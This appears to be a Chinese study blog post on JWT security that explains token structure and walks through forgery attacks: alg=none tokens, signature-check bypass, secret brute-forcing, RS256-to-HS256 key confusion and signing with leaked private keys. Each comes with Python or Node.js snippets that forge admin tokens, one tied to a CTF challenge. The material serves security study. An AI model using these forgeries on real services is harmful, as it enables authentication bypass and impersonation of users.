JWT常见安全问题学习总结

Json web token(JWT),是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准(RFC 7519)。它定义了一种紧凑且自包含的方式,用于在各方之间安全地传输信息作为JSON对象,特别适用于分布式站点的单点登录(SSO)场景。

结构

jwt由三部分组成:header、payload、signature,用点.分隔

header 用来声明 token 的类型和签名用的算法等

示例

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

经过 Base64Url 编码后构成了 JWT 的第一部分

payload

payload 就是存放有效信息的地方

示例

1
2
3
4
5
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}

它的声明有三类:已注册声明(Registered claims),公共声明(public claims), 私人声明(private claims)

其中已注册声明有7个默认字段,都由官方所定义(参考rfc7519),但并不都是必需的

1
2
3
4
5
6
7
iss (issuer):JWT的发行者
exp (expiration time):过期时间
sub (subject):JWT面向的主题
aud (audience):JWT的用户
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):JWT唯一标识

公共声明 :这些可以由使用JWT的人随意定义。但是为了避免冲突,它们应该在IANA JSON Web令牌注册表中定义,或者定义为包含抗冲突命名空间的 URI。
私人声明 :这些是为在同意使用它们的各方之间共享信息而创建的自定义声明,既不是注册声明也不是公共声明

经过 Base64Url 编码后构成了 JWT 的第二部分

signature

签名用于验证消息在此过程中没有被更改

这个部分需要 Base64Url 编码后的 header 和 Base64Url 编码后的 payload 使用 . 连接,组成字符串,然后通过 header 中声明的加密方式进行加盐 secret 组合加密,然后就构成了 jwt 的第三部分

如果要使用 HMAC SHA256 算法,将按以下方式创建签名

1
2
3
4
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)

secret是保存在服务端的,jwt的签发生成也是在服务端的,secret就是用来进行jwt的签发和jwt的验证,所以一旦客户端得知这个secret, 那就意味着客户端可以自我签发jwt了

安全问题

敏感信息泄露

因为 payload 和 header 只经过 Base64Url 编码,如果开发者把一些敏感信息存放到里面,我们可以轻松获得

未校验签名

某些服务端并未校验JWT签名,所以,可以尝试修改 signature 后(或者直接删除 signature )看其是否还有效

签名算法置空(CVE-2015-2951)

我们知道,签名算法可以确保JWT在传输过程中不会被恶意用户所篡改

但头部中的 alg 字段却可以改为 none ,服务端接收到后会将其认定为无加密算法, 于是对 signature 的检验也就失效了,那么我们就可以随意修改 payload 部分伪造 token

因为 jwt.io 将 alg 为 none 视为恶意行为,所以无法通过在线工具生成JWT,可以用 python 的 jwt 库来实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import jwt


token_dict = {
"iss": "admin",
"iat": 1674031091,
"exp": 1674038291,
"nbf": 1674031091,
"sub": "admin",
"jti": "e41ff441b04bf337ab3ca715f64a76e1"
}

headers = {
"alg": "none",
"typ": "JWT"
}


jwt_token = jwt.encode(token_dict,
"", # 进行加密签名的密钥
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=headers
)

print(jwt_token)

运行结果
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY3NDAzMTA5MSwiZXhwIjoxNjc0MDM4MjkxLCJuYmYiOjE2NzQwMzEwOTEsInN1YiI6ImFkbWluIiwianRpIjoiZTQxZmY0NDFiMDRiZjMzN2FiM2NhNzE1ZjY0YTc2ZTEifQ.

签名密钥爆破

JWT使用算法对 header 和 payload 进行加密,如果我们可以爆破出加密密钥,那么也就可以随意修改 token 了

Github-jwt爆破脚本

两个jwt碰撞获取密钥:jwt_forgery.py

非对称密码算法=>对称密码算法(CVE-2016-10555)

JWT的签名加密算法有两种,对称加密算法和非对称加密算法

对称加密算法比如HS256使用密钥为所有消息进行签名和验证
非对称加密算法比如RS256使用私钥对消息进行签名并使用公钥进行身份验证

如果我们获取到了公钥,可以将头部中的算法修改从 RS256 更改为 HS256 ,这样后端代码就会使用 RSA 公钥+ HS256 算法进行签名验证

js代码实现

1
2
3
4
5
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

python代码实现

不过用python跑的时候因为jwt版本过高会报错 The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret

解决方法: pip install pyjwt==0.4.3

1
2
3
import jwt
public = open('public.pem', 'r').read()
print(jwt.encode({"data":"test"}, key=public, algorithm='HS256'))

例如2025 ccb Deprecated

decode的时候支持使用非对称RS256和对称HS256,但是签名的时候用的是非对称加密RS256

如果能拿到公钥,那么就可以任意身份伪造(可以用上面的两个jwt碰撞获取密钥)

1
2
3
4
5
6
7
8
const jwt = require('jsonwebtoken');
const fs = require('fs');
const publicKey = fs.readFileSync('./b3ec3db187fa955c_65537_x509.pem', 'utf8');
data={
username: "admin", priviledge:'File-Priviledged-User'
}
data = Object.assign(data);
console.log( jwt.sign(data, publicKey, { algorithm:'HS256'}))

私钥泄露

因为 非对称加密算法 利用私钥生成 jwt ,利用公钥解密 jwt ,所以我们只要有私钥然后自己就可以重新生成

1
2
3
4
5
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

如果运行报错 Error: secretOrPrivateKey has a minimum key size of 2048 bits for RS256
可以强行注释 node_modules\jsonwebtoken\sign.js 中对于密钥长度的判断


参考:
jwtio
jwt_tool
c-jwt-cracker

JSON Web Token (JWT) 攻击技巧
JWT原理及常见攻击方式
JWT总结
CVE-2022-39227漏洞分析


JWT常见安全问题学习总结
https://www.dr0n.top/posts/40e1eb99/
作者
dr0n
发布于
2023年1月5日
更新于
2025年12月29日
许可协议